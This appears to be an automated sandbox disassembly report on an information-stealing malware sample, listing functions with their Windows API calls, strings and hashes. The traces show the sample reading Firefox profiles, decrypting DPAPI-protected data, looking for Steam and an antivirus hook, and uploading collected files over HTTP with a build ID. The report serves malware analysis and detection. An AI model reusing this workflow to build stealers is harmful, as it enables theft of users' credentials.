String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction ID: 5e6e090b7426daa2190439f10c3a66e3b2dc60308d04b1e86fd5a2a7c5743c5f
Opcode Fuzzy Hash: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction Fuzzy Hash: 21513CB190021CEFDF219FA1CC85BDA7BB9FB05304F1041AAEA48A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction ID: 61a6a4170e4fe4489c424ce047c768c6d3b4f1f2829f9531367362cbf9008bf3
Opcode Fuzzy Hash: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction Fuzzy Hash: ACA10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction ID: c2b4ad5d3bc6b5bda946f752b02f6bf4f7fa1bcc677035090155be8f65edf037
Opcode Fuzzy Hash: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction Fuzzy Hash: 51812B7290021C9BCB20FB75DD46AD97779AB04308F4501A6EC48B3291EB789E998ED9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction ID: 7bc993b3c5e25ddc5b0c025549b9a5cd4ad7e4e53104c4749658d5c2ec1958f9
Opcode Fuzzy Hash: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction Fuzzy Hash: B7012170A01224DFDB61DB64DD45BDE77B9AF09311F4011E6E409E2290EB399B80CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction ID: 98ad5db47aa5c0001f6daffa45158c7dc3aaf39aa7ec1d295977e7341d2d2e4d
Opcode Fuzzy Hash: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction Fuzzy Hash: 53314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F64

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction ID: 8fd29eac0b97b57b29b6d4365dcb14f371c011a58ab206fcfa1fb590131ba033
Opcode Fuzzy Hash: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction Fuzzy Hash: 21018135A00224AFEB61DB609D48FEE77FE9F19301F4400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction ID: 2358bb5b3f35a3ad40a3a0386f4508cbb0988a8bb62faa6fc949f4816cf41d80
Opcode Fuzzy Hash: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction Fuzzy Hash: E6117771A00214ABDB11EB65DC85BED73B9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction ID: 9c4555a76ba769696941e186a30169b52a42ac3e321656be180e5794a9869106
Opcode Fuzzy Hash: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction Fuzzy Hash: C6F0E070A0132467EB04DBB4EC49B9B37799B04725F100295F511D71D0EB759E844795

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction ID: 34f53908faf426b5c9cd97adde2a4a918f960e6824188aa54f4cd522321a1d33
Opcode Fuzzy Hash: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction Fuzzy Hash: E4E092B0D1021DABCF04DF60EC459DE77FCEB08208F0054F5A505E3180D6B4AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,0041868E), ref: 004014DF

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,60c3d71341c994ff133b7c9a96482d32,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
